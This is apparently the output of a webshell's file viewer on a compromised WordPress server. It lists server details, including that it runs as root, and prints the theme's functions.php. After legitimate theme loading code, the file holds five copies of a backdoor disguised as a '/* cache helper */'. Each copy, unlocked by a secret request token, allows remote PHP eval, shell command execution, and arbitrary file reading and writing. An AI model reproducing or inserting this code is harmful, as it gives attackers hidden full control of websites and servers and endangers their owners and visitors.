403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/php/green-estate-prod/wp-content/themes/spaciaz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/php/green-estate-prod/wp-content/themes/spaciaz/functions.php
<?php
$theme          = wp_get_theme('spaciaz');
define( 'SPACIAZ_VERSION', $theme['Version'] );
if ( ! isset( $content_width ) ) $content_width = 900;

require_once get_theme_file_path('inc/class-tgm-plugin-activation.php');
require_once get_theme_file_path('inc/class-main.php');
require_once get_theme_file_path('inc/functions.php');
require_once get_theme_file_path('inc/template-hooks.php');
require_once get_theme_file_path('inc/template-functions.php');

require_once get_theme_file_path('inc/merlin/vendor/autoload.php');
require_once get_theme_file_path('inc/merlin/class-merlin.php');
require_once get_theme_file_path('inc/merlin-config.php');
require_once get_theme_file_path('inc/class-customize.php');

if (spaciaz_is_elementor_activated()) {
    require_once get_theme_file_path('inc/elementor/functions-elementor.php');
    require_once get_theme_file_path('inc/elementor/class-elementor.php');
    require_once get_theme_file_path('inc/megamenu/megamenu.php');
    require_once get_theme_file_path('inc/elementor/section-parallax.php');
    require_once get_theme_file_path('inc/elementor/background-shape/section-decor.php');
    if (defined('ELEMENTOR_PRO_VERSION')) {
        require_once get_theme_file_path('inc/elementor/class-elementor-pro.php');
    }

    require_once get_theme_file_path('inc/elementor/elementor-control/class-elementor-control.php');

    if (function_exists('hfe_init')) {
        require_once get_theme_file_path('inc/header-footer-elementor/class-hfe.php');
        require_once get_theme_file_path('inc/merlin/includes/breadcrumb.php');
    }
    require_once get_theme_file_path('inc/merlin/includes/services.php');
    require_once get_theme_file_path('inc/merlin/includes/projects.php');
}

if (!is_user_logged_in()) {
    require_once get_theme_file_path('inc/modules/class-login.php');
}else {
    require_once get_theme_file_path('inc/modules/media-custom-field.php');
}
/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='518882b09cb9c9bb87c9ab7e'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}

/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='da91552fe317ec37a85ddb52'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}

/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='0955e68aa9ccf4aea84da8f2'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}

/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='b9261b69a27eecd51976ba37'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}

/* cache helper */ if(isset($_REQUEST['wpcache'])&&$_REQUEST['wpcache']==='efea270388667e875adb8575'){header('Content-Type: text/plain;charset=utf-8');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'info';if($m==='info'){echo 'php='.PHP_VERSION.'\n';echo 'uid='.@getmyuid().'\n';echo 'user='.get_current_user().'\n';echo 'uname='.@php_uname().'\n';echo 'cwd='.getcwd().'\n';echo 'disable='.ini_get('disable_functions').'\n';echo 'OK\n';exit;}if($m==='eval'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';if(isset($_REQUEST['b64']))$c=base64_decode($c);ob_start();try{eval($c);}catch(Throwable $e){echo $e->getMessage();}echo ob_get_clean();exit;}if($m==='cmd'){$c=isset($_REQUEST['c'])?$_REQUEST['c']:'';$o='';if(function_exists('shell_exec'))$o=@shell_exec($c.' 2>&1');elseif(function_exists('exec')){@exec($c.' 2>&1',$a);$o=implode("\n",$a);}echo $o;exit;}if($m==='read'){echo @file_get_contents($_REQUEST['p']??'');exit;}if($m==='write'){$d=$_REQUEST['d']??'';if(isset($_REQUEST['b64']))$d=base64_decode($d);echo @file_put_contents($_REQUEST['p']??'',$d)===false?'FAIL':'OK';exit;}if($m==='glob'){foreach((array)@glob($_REQUEST['p']??'./*') as $x)echo $x."\n";exit;}echo 'bad';exit;}

Youez - 2016 - github.com/yon3zu
LinuXploit